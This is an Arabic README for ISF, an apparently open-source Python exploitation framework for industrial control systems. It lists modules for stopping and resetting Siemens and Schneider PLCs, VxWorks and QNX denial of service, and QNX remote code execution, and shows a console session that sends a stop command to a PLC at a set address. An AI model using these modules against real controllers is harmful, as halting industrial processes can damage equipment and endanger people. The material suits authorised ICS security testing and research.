
ISF (إطار استغلال أنظمة التحكم الصناعي)، إطار استغلال قائم على Python
ISF (إطار الاستغلال الصناعي) هو إطار استغلال مبني على بايثون، مشابه لإطار metasploit.
ISF مبني على المشروع مفتوح المصدر routersploit.
اقرأ هذا بلغات أخرى: English, 简体中文,
استخدام ISF لمهاجمة أهداف دون موافقة مسبقة متبادلة هو عمل غير قانوني. يتحمل المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يتحملون أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
| الاسم | المسار | الوصف |
|---|
| modbus_tcp_client | icssploit/clients/modbus_tcp_client.py | عميل Modbus-TCP |
| wdb2_client | icssploit/clients/wdb2_client.py | عميل WdbRPC الإصدار 2 (Vxworks 6.x) |
| s7_client | icssploit/clients/s7_client.py | عميل s7comm (PLC S7 300/400) |
| الاسم | المسار | الوصف |
|---|---|---|
| s7_300_400_plc_control | exploits/plcs/siemens/s7_300_400_plc_control.py | تشغيل/إيقاف PLC S7-300/400 |
| s7_1200_plc_control | exploits/plcs/siemens/s7_1200_plc_control.py | تشغيل/إيقاف/إعادة تعيين PLC S7-1200 |
| vxworks_rpc_dos | exploits/plcs/vxworks/vxworks_rpc_dos.py | هجوم حجب الخدمة عن بعد لـ Vxworks RPC (CVE-2015-7599) |
| quantum_140_plc_control | exploits/plcs/schneider/quantum_140_plc_control.py | تشغيل/إيقاف PLC سلسلة Schneider Quantum 140 |
| crash_qnx_inetd_tcp_service | exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py | هجوم حجب الخدمة لخدمة TCP Inetd في QNX |
| qconn_remote_exec | exploits/plcs/qnx/qconn_remote_exec.py | تنفيذ كود عن بعد لـ qconn في QNX |
| profinet_set_ip | exploits/plcs/siemens/profinet_set_ip.py | تكوين IP لجهاز Profinet DCP |
| الاسم | المسار | الوصف |
|---|---|---|
| profinet_dcp_scan | scanners/profinet_dcp_scan.py | ماسح Profinet DCP |
| vxworks_6_scan | scanners/vxworks_6_scan.py | ماسح Vxworks 6.x |
| s7comm_scan | scanners/s7comm_scan.py | ماسح S7comm |
| enip_scan | scanners/enip_scan.py | ماسح EthernetIP |
يمكن استخدام هذه البروتوكولات في أطر عمل اختبار الاختراق الأخرى مثل Kitty أو لإنشاء عميل خاص بك.
| الاسم | المسار | الوصف |
|---|---|---|
| pn_dcp | icssploit/protocols/pn_dcp | بروتوكول Profinet DCP |
| modbus_tcp | icssploit/protocols/modbus_tcp | بروتوكول Modbus TCP |
| wdbrpc2 | icssploit/protocols/wdbrpc2 | بروتوكول WDB RPC الإصدار 2 |
| s7comm | icssploit/protocols/s7comm.py | بروتوكول S7comm |
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py
root@kali:~/Desktop/temp/isf# python isf.py
_____ _____ _____ _____ _____ _ ____ _____ _______
|_ _/ ____|/ ____/ ____| __ \| | / __ \_ _|__ __|
| || | | (___| (___ | |__) | | | | | || | | |
| || | \___ \\___ \| ___/| | | | | || | | |
_| || |____ ____) |___) | | | |___| |__| || |_ | |
|_____\_____|_____/_____/|_| |______\____/_____| |_|
إطار الاستغلال ICS
ملاحظة : ICSSPOLIT هو فرع من routersploit في
https://github.com/reverse-shell/routersploit
فريق التطوير : wenzhe zhu(dark-lbp)
الإصدار : 0.1.0
الاستغلالات: 2 الماسحات: 0 بيانات الاعتماد: 13
استغلالات ICS:
PLC: 2 مفتاح ICS: 0
البرمجيات: 0
isf >
isf > use exploits/plcs/
exploits/plcs/siemens/ exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (التحكم في PLC S7-300/400) >
يمكنك استخدام مفتاح التبويب للإكمال التلقائي.
isf (التحكم في PLC S7-300/400) > show options
خيارات الهدف:
الاسم الإعدادات الحالية الوصف
---- ---------------- -----------
target عنوان الهدف مثلاً 192.168.1.1
port 102 منفذ الهدف
خيارات الوحدة:
الاسم الإعدادات الحالية الوصف
---- ---------------- -----------
slot 2 رقم الفتحة (slot) لوحدة المعالجة المركزية.
command 1 الأمر 0: تشغيل PLC، 1: إيقاف PLC.
isf (التحكم في PLC S7-300/400) >
isf (التحكم في PLC S7-300/400) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}
isf (التحكم في PLC S7-300/400) > run
[*] جاري تشغيل الوحدة...
[+] الهدف قيد التشغيل
[*] إرسال حزمة إلى الهدف
[*] إيقاف PLC
isf (التحكم في PLC S7-300/400) >
isf (التحكم في PLC S7-300/400) > show info
الاسم:
التحكم في PLC S7-300/400
الوصف:
استخدام أمر S7comm لتشغيل/إيقاف PLC.
الأجهزة:
- وحدات التحكم المنطقية القابلة للبرمجة (PLCs) من سيمنز S7-300 و S7-400
المؤلفون:
- wenzhe zhu <jtrkid[at]gmail.com>
المراجع:
isf (التحكم في PLC S7-300/400) >